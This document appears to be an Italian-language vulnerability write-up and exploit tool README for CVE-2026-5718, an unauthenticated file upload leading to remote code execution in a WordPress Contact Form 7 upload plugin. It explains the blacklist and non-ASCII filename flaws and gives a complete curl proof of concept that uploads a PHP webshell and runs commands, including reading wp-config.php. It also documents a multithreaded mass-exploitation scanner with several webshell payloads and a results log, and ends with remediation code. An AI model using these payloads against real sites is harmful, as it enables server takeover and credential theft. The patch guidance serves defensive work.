
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTipo di vulnerabilità: Caricamento file arbitrario non autenticato → Remote Code Execution Versioni vulnerabili: <= 1.3.9.6 Versione corretta: 1.3.9.7 Data di pubblicazione: 17 aprile 2026 Ricercatore: Leonid Semenenko (lsemenenko) — Wordfence
Nel plugin Drag and Drop Multiple File Upload for Contact Form 7,** due errori logici indipendenti si combinano consentendo ad attaccanti non autenticati di caricare webshell PHP.
Distruzione della blacklist: La configurazione personalizzata della blacklist
sostituisce completamente l'elenco predefinito di estensioni pericolose
invece di unirsi ad esso.
php non è più bloccato.
Bypass Non-ASCII: La presenza di caratteri non ASCII nel nome del file
impedisce la chiamata della funzione wpcf7_antiscript_file_name().
L'estensione .php viene preservata e il file viene scritto su disco.
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
L'azione wp_ajax_nopriv__wpcf7_check_nonce è pubblica.
Quando viene inviato un nonce non valido, un nuovo nonce viene fornito gratuitamente.
Con user-agent Mozilla si elude il controllo curl.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 estensioni pericolose: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSEGNAZIONE (=) — NON UNIONE
// Elenco personalizzato: solo ['zip']
// 'php' ora NON è più in elenco → viene accettato
}
Configurazione del form tag che attiva la vulnerabilità:
[mfile upload-file filetypes="*" blacklist-types:zip]
L'amministratore vuole bloccare ZIP → il plugin cancella l'intera denylist predefinita.
Tutte le estensioni pericolose, incluso php, vengono ora accettate.
Anche l'elenco hardcoded per filetypes="*" è incompleto:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' MANCANTI
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Chiamata solo per nomi file puramente ASCII
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ avrebbe trasformato shell.php → shell.php.txt — ma viene saltata
}
// Se è presente un carattere non ASCII, questo blocco viene SALTATO
// $filename = "shellシ.php" → l'estensione .php viene preservata
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Cambia solo una copia locale, la $filename esterna NON viene influenzata
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Carattere non ASCII → false → antiscript saltato
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (non curl) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ottenuto gratuitamente │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce valido ✓ │
│ ├── blacklist=['zip'] → 'php' non bloccato ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() SALTATA ✓ │
│ └── move_uploaded_file("shellシ.php") → Scritto su disco│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → RCE non autenticato ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only. Use only on systems you own or have explicit written authorization to test.
Prerequisiti:
blacklist-types con il campo [mfile]:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Risposta attesa:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Risposta attesa:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# comando id
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# leggere wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
Lo scanner prova i seguenti caratteri in sequenza:
Radice WordPress/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell qui
⚠️ Nota: Il plugin cancella i file dopo 1 ora per impostazione predefinita. La shell rimane accessibile durante questo intervallo di tempo.
[*] Target : http://hedef.com
[*] Form ID : rilevamento automatico
[*] Tipo Shell : system
[*] CMD Verify : id
[→] http://hedef.com Passo 1/5: Ottenimento nonce...
[→] http://hedef.com Passo 2/5: Rilevamento form CF7...
[→] http://hedef.com Passo 3/5: Caricamento shell (bypass non-ASCII)...
[→] http://hedef.com Passo 4/5: Creazione URL shell...
[→] http://hedef.com Passo 5/5: Verifica RCE...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Versione : 1.3.9.6
Nonce : abc123def4 (fonte: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
Output RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Salvato → rce_results.txt
Unione sicura della blacklist:
// Non sicuro (attuale — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Sicuro (consigliato — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
Antiscript incondizionato:
// Non sicuro (attuale)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Sicuro (consigliato)
$filename = wpcf7_antiscript_file_name( $filename ); // chiamare sempre
.htaccess della directory di upload:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Scanner principale
├── requirements.txt # Dipendenze
└── README.md # Questo file
Questo strumento e il PoC sono stati realizzati esclusivamente per l'uso su sistemi autorizzati, a scopo educativo e nell'ambito di test di penetrazione. L'uso su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del codice penale turco e delle leggi internazionali sulla criminalità informatica. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.
Licenza MIT — Solo a scopo educativo e di ricerca.
| Campo | Valore |
|---|
| Nome plugin | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| Punteggio CVSS | 8.1 (High) |
| Tipo di vulnerabilità | Unauthenticated Arbitrary File Upload |
| Versione vulnerabile | <= 1.3.9.6 |
| Versione corretta | 1.3.9.7 |
| Prerequisito | Configurazione personalizzata blacklist-types nel form CF7 |
| Parametro | Breve | Descrizione | Predefinito |
|---|
--url | -u | URL del singolo target | — |
--list | -l | File con elenco di target | — |
--threads | -t | Numero di thread | 10 |
--output | -o | File di output | rce_results.txt |
--form-id | — | ID del form CF7 | rilevamento automatico |
--field-name | — | Nome del campo mfile | upload-file |
--shell-name | — | Nome file della shell | shell |
--shell-type | — | Tipo di shell | system |
--verify-cmd | — | Comando di verifica RCE | id |
--proxy | — | URL del proxy | — |
--timeout | — | Timeout richiesta (sec) | 10 |
--force | — | Continua anche se il rilevamento del plugin fallisce | False |
| Tipo | Payload | Descrizione |
|---|
system | <?php system($_GET["cmd"]); ?> | Comando di sistema di base |
passthru | <?php passthru($_GET["cmd"]); ?> | Output grezzo |
exec | <?php echo exec($_GET["cmd"]); ?> | Esecuzione silenziosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval tramite POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Offuscamento Base64 |
full | shell_exec + system + exec fallback | Copertura completa |
| Carattere | Unicode | Descrizione |
|---|
シ | U+30B7 | Katakana Si (usato nel PoC) |
ж | U+0436 | Cirillico |
ñ | U+00F1 | Latin Extended |
中 | U+4E2D | CJK |
α | U+03B1 | Greco |
ß | U+00DF | Tedesco |
| Stato | Descrizione |
|---|
★ RCE OK | Shell caricata + comando eseguito |
★ SHELL ALIVE | Shell accessibile, risposta diversa |
~ EXEC_DISABLED | Shell presente, exec() disabilitato |
~ HTACCESS | Shell caricata ma bloccata da .htaccess |
? UPLOADED | Caricata ma URL non trovato |
- UPL_FAIL | Upload fallito (corretto/nessuna configurazione) |
~ NO_NONCE | Nonce non ottenibile |
- NO_PLUGIN | Plugin non installato |
~ UNREACH | Target non raggiungibile |
| Misura | Implementazione |
|---|
| Aggiornamento del plugin | Aggiornare alla versione 1.3.9.7+ |
| Unione blacklist | Usare array_merge() invece di = |
| Antiscript incondizionato | wpcf7_antiscript_file_name() deve essere sempre chiamata |
| Protezione nonce | L'endpoint del nonce deve essere chiuso all'accesso pubblico |
| .htaccess | Bloccare l'esecuzione di PHP nella directory di upload |